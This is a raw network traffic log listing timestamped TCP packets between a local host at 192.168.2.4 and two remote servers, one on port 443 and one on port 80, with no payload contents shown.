Nov 2, 2024 07:16:09.731244087 CET	63797	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.731249094 CET	443	63797	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.750533104 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.750581980 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.750646114 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.750669956 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.750794888 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.750942945 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.778393030 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.778439999 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.778582096 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.888869047 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.935709953 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.948065042 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.948106050 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.948122978 CET	63798	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.948137999 CET	443	63798	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.949446917 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.949460030 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.949486017 CET	63796	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.949496984 CET	443	63796	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.951081991 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.951087952 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.951821089 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.951824903 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.959252119 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.959276915 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.959330082 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.959614992 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:09.959625959 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:09.992280006 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.042249918 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.085274935 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.085290909 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.085347891 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.085354090 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.085393906 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.085510969 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.085542917 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.085577011 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.165098906 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.165112019 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.165570974 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.165575981 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.166642904 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.166671991 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.166729927 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.166827917 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.166836023 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.171519041 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.171534061 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.171544075 CET	63799	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.171549082 CET	443	63799	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.172902107 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.172946930 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.173016071 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.173736095 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.173760891 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.180166006 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.180190086 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.180238008 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.180344105 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.180361032 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.293785095 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.293806076 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.293864012 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.293868065 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.293899059 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.300256968 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.300271034 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.300282001 CET	63800	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.300287008 CET	443	63800	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.307621002 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.307648897 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.307737112 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.307853937 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.307867050 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.421365976 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:10.426270008 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:10.426345110 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:10.426939011 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:10.431682110 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:10.694200993 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.694717884 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.694730043 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.695192099 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.695199966 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.825265884 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.825361967 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.825407028 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.825484991 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.825495005 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.825505972 CET	63801	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.825510025 CET	443	63801	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.827833891 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.827848911 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.827917099 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.828027010 CET	63807	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.828036070 CET	443	63807	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.905644894 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.905992031 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.905999899 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.906315088 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.906354904 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.906358957 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.906569958 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.906588078 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.906862974 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.906867981 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.936151028 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.936454058 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.936470985 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:10.936794996 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:10.936800957 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.036257982 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.036569118 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.036624908 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.036679029 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.036696911 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.036712885 CET	63804	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.036727905 CET	443	63804	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.039254904 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.039266109 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.039331913 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.039479017 CET	63808	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.039488077 CET	443	63808	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.041753054 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.041847944 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.041897058 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.041979074 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.041985035 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.042010069 CET	63803	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.042012930 CET	443	63803	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.044106007 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.044127941 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.044198990 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.044311047 CET	63809	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.044322014 CET	443	63809	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.047286034 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.047630072 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.047637939 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.048000097 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.048003912 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.070955992 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.071089983 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.071155071 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.071183920 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.071198940 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.071208000 CET	63802	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.071212053 CET	443	63802	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.073003054 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.073012114 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.073084116 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.073224068 CET	63810	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.073232889 CET	443	63810	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.090641975 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090756893 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090771914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090781927 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090792894 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090794086 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.090802908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090812922 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.090814114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090826035 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090835094 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090845108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.090852976 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.090877056 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.090909958 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.095634937 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.095644951 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.095655918 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.095686913 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.136006117 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.178797960 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.179090977 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.179178953 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.179286957 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.179286957 CET	63805	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.179294109 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.179302931 CET	443	63805	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.182450056 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.182477951 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.182552099 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.182871103 CET	63811	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:11.182883978 CET	443	63811	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:11.212330103 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212341070 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212356091 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212368011 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212378025 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212388992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212399006 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.212399006 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.212402105 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.212431908 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.213202000 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213231087 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213241100 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213247061 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213253975 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.213299036 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.213747025 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213757992 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213769913 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213781118 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.213804960 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.213804007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213819981 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.213860035 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.214584112 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.214632034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.214648962 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.214663029 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.214668989 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.214673996 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.214703083 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.215435982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.215445995 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.215472937 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.258878946 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.258914948 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.258919954 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.258924961 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.258959055 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334253073 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334271908 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334284067 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334294081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334311008 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334321022 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334326029 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334332943 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334368944 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334640980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334652901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334662914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334686995 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334692001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334702969 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334712982 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334716082 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334723949 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.334749937 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.334774971 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.335623980 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335634947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335644960 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335654974 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335666895 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335668087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.335675955 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335685968 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.335707903 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.335735083 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.336431026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336473942 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.336496115 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336508036 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336538076 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.336545944 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336558104 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336568117 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336582899 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.336594105 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.336633921 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.337387085 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337426901 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337438107 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337449074 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337459087 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.337460041 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337470055 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337483883 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.337486982 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.337510109 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.338206053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.338244915 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.338251114 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.338262081 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.338272095 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.338282108 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.338298082 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.338326931 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.374650002 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.374661922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.374671936 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.374707937 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.380701065 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380717039 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380727053 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380737066 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380748034 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380759001 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.380759954 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.380783081 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.380810022 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455604076 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455615044 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455625057 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455645084 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455656052 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455672026 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455682993 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455684900 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455694914 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455708027 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455717087 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455724001 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455744028 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455763102 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455874920 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455885887 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455894947 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455924034 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.455946922 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.455957890 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456000090 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.456290007 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456300974 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456310987 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456329107 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.456347942 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456357002 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.456358910 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456368923 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456379890 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456393003 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456394911 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.456403971 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456407070 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.456413984 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.456453085 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457120895 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457165956 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457165956 CET	63806	80	192.168.2.4	208.109.77.116
Nov 2, 2024 07:16:11.457178116 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457210064 CET	80	63806	208.109.77.116	192.168.2.4
Nov 2, 2024 07:16:11.457220078 CET	80	63806	208.109.77.116	192.168.2.4
